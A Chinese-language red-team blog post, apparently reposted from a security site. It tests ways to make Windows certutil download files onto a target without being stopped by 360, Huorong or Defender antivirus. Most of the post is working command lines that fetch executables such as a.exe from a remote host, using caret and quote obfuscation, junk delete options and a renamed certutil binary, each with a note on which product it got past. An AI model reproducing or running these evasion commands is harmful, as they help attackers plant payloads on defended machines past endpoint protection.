探究certutil在杀软中的绕过实践
2023-5-4 16:55:0 Author: xz.aliyun.com(查看原文) 阅读量:55 收藏

ə[email protected]深蓝实验室重保天佑战队

在某些场景下,当我们需要往目标服务器内下载文件时,如果目标上存在杀软时会有拦截行为,导致不能成功完成下载操作。

certutil.exe是windows系统自带的,作为证书服务的命令行程序。用户可以使用certutil.exe转储和显示证书颁发机构配置信息等等以及验证证书、密钥对和证书链。

certutil下载文件的常见命令为:

certutil -urlcache -split -f http://xxx.com/xx.exe
  • -urlcache参数:显示或删除URL缓存条目。

  • -f参数:覆盖现有文件,后面要跟下载的文件地址。

  • -split参数:保存文件。加的话就下载到当前路径,不加就下载到默认路径。

话不多说,下面就以常见的360核晶模式、火绒、defender作为测试环境进行相关的绕过测试。

一、360核晶模式
物理机开启核晶模式的360防护强度上要比虚拟机上的强,我们就以此状态下的为准来测试。

首先以certutil的默认下载语法执行,必定是拦截的


利用windows的特性,通过" ;@等等符号组合的方式进行混淆执行,发现也能检测到异常行为并拦截。

;,@certutil&&;,@certutil  -u""r""l""c""a""c""h""e"" -split  -f http://192.168.xx.xx:7000/test.txt


;,certutil;, /⸿split;,-ur₏lcache -f http://192.168.xx.xx:7000/test.txt


通过复制certutil程序,更换其他路径和文件名发现照样是会拦截的。

certutil官方说明链接

https://learn.microsoft.com/zh-cn/windows-server/administration/windows-commands/certutil

那么反回来看certutil的帮助说明,有如下几个无值命令选项,测试发现加上这几个选项后,会生成以该选项为名的缓存文件。


那么便可以构造如下几个执行命令了

;,@certutil  -u""r""l""c""a""c""h""e"" -split -f http://192.168.xx.xx:7000/a.exe -DeleteHelloContainer
;,@certutil  -u""r""l""c""a""c""h""e"" -split  -f http://192.168.xx.xx:7000/a.exe -deleteEnrollmentServer
;,@certutil  -u""r""l""c""a""c""h""e"" -split  -f http://192.168.xx.xx:7000/a.exe -deletePolicyServer
;,@certutil  -u""r""l""c""a""c""h""e"" -split  -f http://192.168.xx.xx:7000/a.exe -deleteEccCurve

可以看到全程并没有产生拦截告警,成功下载指定文件并生成对应的缓存文件,如下:


接着只要把对应的缓存文件还原就行了,程序正常运行。

二、火绒模式


同样默认下载的语句会拦截:


加入无效参数-a发现也拦截

certutil -urlcache -a -split -f  http://192.168.xx.xx:8080/xx.txt


尝试对参数做一下变形,其中Windows中有些字符串是不影响命令执行的,比如^和”。

cer^t^u^til -url""""cache -a -sp""""lit -f  http://192.168.xx.xx:8080/xx.txt

可见并不是简单匹配命令语句,也会动态检测命令参数这些。
既然这样,复制certutil程序,更换其他路径和文件名试试

copy c:\windows\system32\certutil.exe a.exe
a.exe -urlcache -split -f  http://192.168.xx.xx:7000/gdut.txt


发现成功绕过检测,不产生拦截并完成下载操作了。

三、Defender模式


尝试利用默认的下载语法,以及往其中加入无效的参数发现也是被defender拦截了


那么就尝试利用^和"组合发现可以绕过拦截完成下载操作,具体怎么组合根据实际情况决定即可。

certutil -url""""cache -split -f http://192.168.xx.xx:7070/test.txt
cert^u^t^il -url""""cache -sp""""lit -f http://192.168.xx.xx:7070/test.txt


通过复制certutil程序,更换路径和文件名使用默认下载语法是会拦截的,这里跟火绒不一样。


这里defender应该是对命令参数进行了检测,统一用^和"进行绕过就好。

b.exe -url""""ca^c^he -spl""""it -f http://192.168.xx.xx:7070/test.txt


文章来源: https://xz.aliyun.com/t/12503
如有侵权请联系:admin#unsafe.sh